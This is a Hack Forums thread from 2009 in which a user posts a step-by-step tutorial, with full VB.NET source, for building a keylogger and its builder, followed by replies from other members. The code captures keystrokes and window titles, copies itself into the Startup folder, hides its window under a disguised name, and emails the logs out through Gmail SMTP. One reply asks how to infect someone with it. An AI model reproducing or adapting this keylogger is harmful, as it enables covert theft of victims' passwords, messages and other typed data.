+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [.NET] [TUT] How to make your very own Hooked&FUD Keylogger [VB8] (/showthread.php?tid=171487)
[TUT] How to make your very own Hooked&FUD Keylogger [VB8] - newbie223 - Oct 25, 2009
Hey guys i had alot of spare time so i taught ill might make a TUT :D
Builder
this is the easiest part of a keylogger yet many of us (including me :D)couldn't bother to learn b4 learning to make the keylogger.
Now lets make your Builder nice Insert 4 Label doesn't matter the label goes just make nice and neat.Add 3 textbox(textbox1=gmail username)(textbox2=Gmail password)(textbox3=time interval).add 2 button(button1=Build)(button2=test gmail)
example builder picture
Spoiler (Click to View)
ok now the codes
Code
Imports System.Net.Mail
Imports System.IO
Public Class Form1
Dim stub, text1, text2, text3 As String
Const FileSplit = "@newbie@"
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
For Fadein = 0.0 To 1.1 Step 0.1
Me.Opacity = Fadein
Me.Refresh()
Threading.Thread.Sleep(100)
Next
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
text1 = TextBox1.Text
text2 = TextBox2.Text
text3 = TextBox3.Text
ProgressBar1.Value = 10
FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
stub = Space(LOF(1))
ProgressBar1.Value = 40
FileGet(1, stub)
FileClose(1)
ProgressBar1.Value = 80
ProgressBar1.Value = 100
MsgBox("Server created :D")
If File.Exists("newbie.exe") Then
My.Computer.FileSystem.DeleteFile("newbie.exe")
End If
FileOpen(1, Application.StartupPath & ("newbie.exe"), OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
FilePut(1, stub & FileSplit & text1 & FileSplit & text2)
FileClose(1)
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage
ProgressBar1.Value = 10
smtpServer.Credentials = New Net.NetworkCredential(TextBox1.Text, TextBox2.Text)
'using gmail
ProgressBar1.Value = 20
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
ProgressBar1.Value = 35
smtpServer.EnableSsl = True
mail = New MailMessage
ProgressBar1.Value = 50
mail.From = New MailAddress(TextBox1.Text)
mail.To.Add(TextBox1.Text)
ProgressBar1.Value = 70
mail.Subject = (TextBox1.Text)
mail.Body = ("Testing Gmail was Successful.Build your keylogger now!")
ProgressBar1.Value = 90
smtpServer.Send(mail)
ProgressBar1.Value = 100
MsgBox("Message has been sent. Check your Gmail")
End Sub
Private Sub TextBox3_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox3.TextChanged
End Sub
End Classsimple enoughi would suggest u try understand codes :D easier to learn
ok now stub
stub basically is un finish keylogger just nid a little info here and there and its a complete keylogger:D
ok open a new project name it stub
now deco 1st :D
things to add:-
textbox1= where the logs will be kept enable=false add a scrolbar :D
textbox2= gmail username
textbox3=gmail password
textbox4=time interval
timer1=start take logs
timer2=send email logs
timer3=clear texbox1
timer4=run program hiddenly
heres what ive done
Spoiler (Click to View)
you can do exactly the same no problem :D
heres the code
Code
Imports System.IO
Imports System.Net.Mail
Public Class Form1
Dim caps As Boolean
Dim shift As Boolean
Dim result As Integer
Private Declare Function GetKeyState Lib "USER32" (ByVal vKey As Long) As Integer
Private Declare Function GetAsyncKeyState Lib "USER32" (ByVal vKey As Long) As Integer
Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
Dim options(), text1, text2, text3 As String
Dim activewindow As String
Const FileSplit = "@newbie@"
Dim newbie As String = IO.Path.GetFileName(Application.ExecutablePath)
Dim vDirectory As String
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
text1 = Space(LOF(1))
text2 = Space(LOF(1))
text3 = Space(LOF(1))
FileGet(1, text1)
FileGet(1, text2)
FileGet(1, text3)
FileClose(1)
options = Split(text1, FileSplit)
TextBox2.Text = options(1)
TextBox3.Text = options(2)
textbox4.text = options(3)
Try
vDirectory = "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"
Dim zDir As New DirectoryInfo(vDirectory)
If Not zDir.Exists Then
My.Computer.FileSystem.CopyFile(Application.ExecutablePath, "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\" & newbie, True)
Else
My.Computer.FileSystem.CopyFile(Application.ExecutablePath, "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\" & newbie, True)
End If
Catch ex As Exception
End Try
Timer2.Interval = (textbox4.text * 60 * 1000)
Timer3.Interval = (textbox4.text * 60 * 1000 + 500)
Timer1.Start()
Timer2.Start()
Timer3.Start()
Timer4.Start()
End Sub
Private Function GetActiveWindowTitle() As String
Dim MyStr As String
MyStr = New String(Chr(0), 100)
GetWindowText(GetForegroundWindow, MyStr, 100)
MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1)
Return MyStr
End Function
Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As String, ByVal cch As Int32) As Int32
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
shift = GetAsyncKeyState(16)
caps = GetKeyState(20)
Dim i As Integer
For i = 65 To 90
result = GetAsyncKeyState(i)
If result = -32767 Then
If caps = True Then
If shift = True Then
TextBox1.Text = TextBox1.Text + LCase(Chr(i))
Else
TextBox1.Text = TextBox1.Text + Chr(i)
End If
Else
If shift = False Then
TextBox1.Text = TextBox1.Text + LCase(Chr(i))
Else
TextBox1.Text = TextBox1.Text + Chr(i)
End If
End If
result = 0
End If
Next i
If GetAsyncKeyState(32) = -32767 Then
TextBox1.Text = TextBox1.Text + " "
End If
If GetAsyncKeyState(8) = -32767 Then
TextBox1.Text = TextBox1.Text.Remove(TextBox1.Text.Length - 1, 1)
End If
If GetAsyncKeyState(9) = -32767 Then
TextBox1.Text = TextBox1.Text + "[TAB]"
End If
If GetAsyncKeyState(13) = -32767 Then
TextBox1.Text = TextBox1.Text + "[ENTER]" + vbNewLine
If activewindow <> GetActiveWindowTitle() Then
activewindow = GetActiveWindowTitle()
TextBox1.Text = TextBox1.Text + activewindow + vbNewLine + vbNewLine + vbNewLine + vbNewLine
End If
End If
If GetAsyncKeyState(17) = -32767 Then
TextBox1.Text = TextBox1.Text + "[CTRL]"
End If
If GetAsyncKeyState(27) = -32767 Then
TextBox1.Text = TextBox1.Text + "[ESC]"
If activewindow <> GetActiveWindowTitle() Then
activewindow = GetActiveWindowTitle()
TextBox1.Text = TextBox1.Text + activewindow + vbNewLine + vbNewLine + vbNewLine + vbNewLine
End If
End If
If GetAsyncKeyState(35) = -32767 Then
TextBox1.Text = TextBox1.Text + "[END KEY]"
End If
If GetAsyncKeyState(36) = -32767 Then
TextBox1.Text = TextBox1.Text + "[HOME]"
activewindow = GetActiveWindowTitle()
TextBox1.Text = TextBox1.Text + "[HomePage:" + activewindow + "]"
End If
If GetAsyncKeyState(46) = -32767 Then
TextBox1.Text = TextBox1.Text + "[DEL]"
End If
If GetAsyncKeyState(37) = -32767 Then
TextBox1.Text = TextBox1.Text + "[LeftButton]"
End If
If GetAsyncKeyState(38) = -32767 Then
TextBox1.Text = TextBox1.Text + "[UpButton]"
End If
If GetAsyncKeyState(39) = -32767 Then
TextBox1.Text = TextBox1.Text + "[RightButton]"
End If
If GetAsyncKeyState(40) = -32767 Then
TextBox1.Text = TextBox1.Text + "[DownButton]"
End If
If GetAsyncKeyState(1) = -32767 Then
TextBox1.Text = TextBox1.Text + "[LeftClick]"
If activewindow <> GetActiveWindowTitle() Then
activewindow = GetActiveWindowTitle()
TextBox1.Text = TextBox1.Text + vbNewLine + vbNewLine + "=============" & activewindow & "=============" + vbNewLine + vbNewLine
End If
End If
If GetAsyncKeyState(2) = -32767 Then
TextBox1.Text = TextBox1.Text + "[RightClick]"
If activewindow <> GetActiveWindowTitle() Then
activewindow = GetActiveWindowTitle()
TextBox1.Text = TextBox1.Text + vbNewLine + "=============" & activewindow & "=============" + vbNewLine + vbNewLine
End If
End If
End Sub
Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
Dim MyMailMessage As New MailMessage
MyMailMessage.From = New MailAddress(TextBox2.Text)
MyMailMessage.To.Add(TextBox2.Text)
MyMailMessage.Subject = ("Newbie Logz")
MyMailMessage.Body = (textbox1.Text)
Dim SMTPServer As New SmtpClient("smtp.gmail.com")
SMTPServer.Port = 587
SMTPServer.Credentials = New System.Net.NetworkCredential(TextBox2.Text, TextBox3.Text)
SMTPServer.EnableSsl = True
SMTPServer.Send(MyMailMessage)
End Sub
Private Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick
TextBox1.Clear()
End Sub
Private Sub Timer4_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer4.Tick
Me.Hide()
Me.Opacity = 0
Me.Visible = False
End Sub
End Classnoticed that i have gave some hooked keys not all just some:D
ok now go to your timer1 set the interval to 5 this should ensure smooth logs
now all is left to do is save all and build(make sure name is stub)
and timer4=500(interval)
change the form name to "Windows Run .dll"
TQ for reading my first TUT any problems just gimme a hola
if you create a keylogger try add e in credits :D
Take Note: im not so sure about the attach to startup code if you found better one just post it here and ill reupdate it
TuT Video link
Spoiler (Click to View)
...TQ...
if you want a video TUT just tell me ill make it in a jiff
* - Saki~chan - Oct 25, 2009
im confused, and yea would you make a video on this...it might help clear things up
What is a hooked key look like?
* - newbie223 - Oct 25, 2009
kk i will making it now
hook key is what u see like example [f1] is pressed den [f1] will come out its like that
* - newbie223 - Oct 25, 2009
ok video done :D
SHORTTTTTTTTTTTTTTT MSG
* - newbie223 - Oct 26, 2009
BumP BumP BumP BumP BumP BumP BumP
* - numan007 - Oct 26, 2009
hmmm where is the video. A littel problem is there in the coding
* - adz784 - Oct 26, 2009
Sounds good, Ill try this out later.
Thanks.
* - newbie223 - Oct 26, 2009
Only prob in code would be attach to startup try find in google or from other HF member that code will work well on XP but vista nid find differ code
* - xBKx - Oct 26, 2009
WHen It says server created, wich server is created? And if i want to infect someone, do they have to go to the server or get the keylogger?! Confused :D
* - djdandew - Oct 26, 2009
You should also post this in the vb net section here
https://hackforums.net/forumdisplay.php?fid=118
i am new to vb net so may come in usefull, thanks
* - Gaming_master - Oct 26, 2009
I so confused,can somebody descibe how it`s really working?
* - CyberHR - Oct 26, 2009
Ok tut by already posted.... https://hackforums.net/showthread.php?tid=151737&highlight=
* - newbie223 - Oct 27, 2009
CyberHR dis keylogger have hooked keys and smooth logs
* - iDarky - Oct 27, 2009
This is not his TUT, so he cant clear things up :P
* - Outline - Oct 27, 2009
You could have made the builder a hell of a lot simpler, and also you could just use a messagebox to confirm correct GMail..